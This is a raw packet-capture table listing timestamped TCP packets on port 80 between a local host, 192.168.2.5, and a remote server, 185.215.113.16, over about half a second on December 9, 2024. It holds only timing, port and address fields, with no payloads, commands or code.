Dec 9, 2024 15:29:45.659723997 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.659737110 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.659780025 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.661039114 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.661052942 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.661107063 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.662255049 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.662267923 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.662375927 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.663547039 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.663562059 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.663624048 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.664745092 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.664789915 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.664871931 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.666409969 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.666424036 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.666469097 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.667650938 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.667670965 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.667702913 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.667736053 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.669359922 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.669373035 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.669416904 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.670891047 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.670902967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.670953035 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.672262907 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.672276020 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.672319889 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.673573971 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.673588037 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.673629999 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.674859047 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.674906969 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.674917936 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.674947977 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.674968004 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.676496983 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.676511049 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.676554918 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.677865028 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.677879095 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.677923918 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.679260015 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.679282904 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.679330111 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.679342031 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.681009054 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.681022882 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.681035042 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.681062937 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.681091070 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.682677031 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.682691097 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.682733059 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.684444904 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.684463024 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.684504032 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.686367989 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.686388969 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.686433077 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.687922001 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.687935114 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.687978983 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.689224005 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.689237118 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.689249039 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.689273119 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.689291954 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.690756083 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.690769911 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.690813065 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.692241907 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.692255020 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.692298889 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.693653107 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.693665981 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.693717003 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.694998980 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.695014000 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.695024967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.695050955 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.695076942 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.696564913 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.696578026 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.696619034 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.698173046 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.698187113 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.698230028 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.699719906 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.699733973 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.699770927 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.701364040 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.701376915 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.701416016 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.701438904 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.702898979 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.702913046 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.702924013 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.702953100 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.702975035 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.704509020 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.704520941 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.704565048 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.706043959 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.706057072 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.706099987 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.707559109 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.707571983 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.707614899 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.813805103 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.813864946 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.814335108 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.814402103 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.815215111 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.815227985 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.815265894 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.816776991 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.816826105 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.817164898 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.817213058 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.817908049 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.817919970 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.817959070 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.819542885 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.819595098 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.820019960 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.820065975 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.820765018 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.820776939 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.820812941 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.822191000 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.822201967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.822241068 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.834393024 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.834623098 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.834683895 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.835524082 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.835676908 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.836100101 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.836147070 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.836771011 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.836783886 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.836818933 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.838254929 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.838973999 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.839030027 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.839617968 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.839632034 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.839667082 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.841445923 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.841494083 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.842185020 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.842196941 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.842238903 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.843714952 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.843812943 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.844295979 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.844347000 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.845055103 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.845104933 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.845808983 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.845863104 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.845938921 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.846354008 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.847096920 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.847109079 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.847150087 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.848332882 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.848350048 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.848391056 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.849951029 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.849962950 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.850007057 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.851291895 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.851304054 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.851339102 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.855866909 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.855879068 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.855890989 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.855905056 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.855942965 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.855942965 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.858941078 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.858954906 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.859008074 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.860410929 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.860461950 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.861830950 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.861843109 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.861885071 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.861901045 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.863223076 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.863240957 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.863277912 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.863291979 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.864341974 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.864356041 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.864397049 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.866172075 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.866183996 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.866194010 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.866229057 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.866241932 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.867731094 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.867744923 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.867784977 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.869443893 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.869456053 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.869507074 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.869532108 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.869848967 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.869862080 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.869903088 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.872354984 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.872365952 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.872407913 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.873667002 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.873681068 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.873723030 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.874783039 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.874794960 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.874839067 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.876638889 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.876652956 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.876662016 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.876701117 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.876713037 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.878519058 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.878536940 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.878566027 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.878578901 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.880748987 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.880760908 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.880801916 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.881314993 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.881326914 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.881381035 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.883033991 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.883047104 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.883085012 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.883110046 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.884162903 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.884176970 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.884187937 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.884217978 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.884238005 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.885816097 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.885828972 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.885869980 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.887523890 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.887537003 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.887578964 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.889226913 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.889240980 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.889280081 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.891573906 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.891586065 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.891602039 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.891628981 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.891645908 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.892971039 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.892983913 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.893032074 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.894418955 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.894432068 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.894484043 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.894994020 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.895006895 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.895049095 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.896859884 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.896873951 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.896883965 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.896919966 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.896933079 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.898412943 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.898427010 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.898485899 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.900089025 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.900103092 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.900157928 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.901372910 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.901393890 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.901434898 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.901460886 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:45.902812004 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:45.902874947 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.006143093 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.006305933 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.006546974 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.006611109 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.007374048 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.007428885 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.008050919 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.008106947 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.008436918 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.008488894 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.009111881 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.009165049 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.009764910 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.009778023 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.009824038 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.011033058 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.011085987 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.011776924 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.011830091 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.012510061 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.012528896 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.012564898 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.012581110 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.014221907 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.014235973 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.014281034 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.026928902 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.026998043 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.027287006 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.027340889 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.028115034 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.028170109 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.028752089 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.028805017 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.029463053 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.029479980 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.029516935 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.029530048 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.030997038 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.031054974 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.031678915 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.031735897 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.032392025 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.032417059 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.032464981 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.033853054 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.033869028 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.033914089 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:46.035352945 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.035372019 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:46.035417080 CET	49805	80	192.168.2.5	185.215.113.16
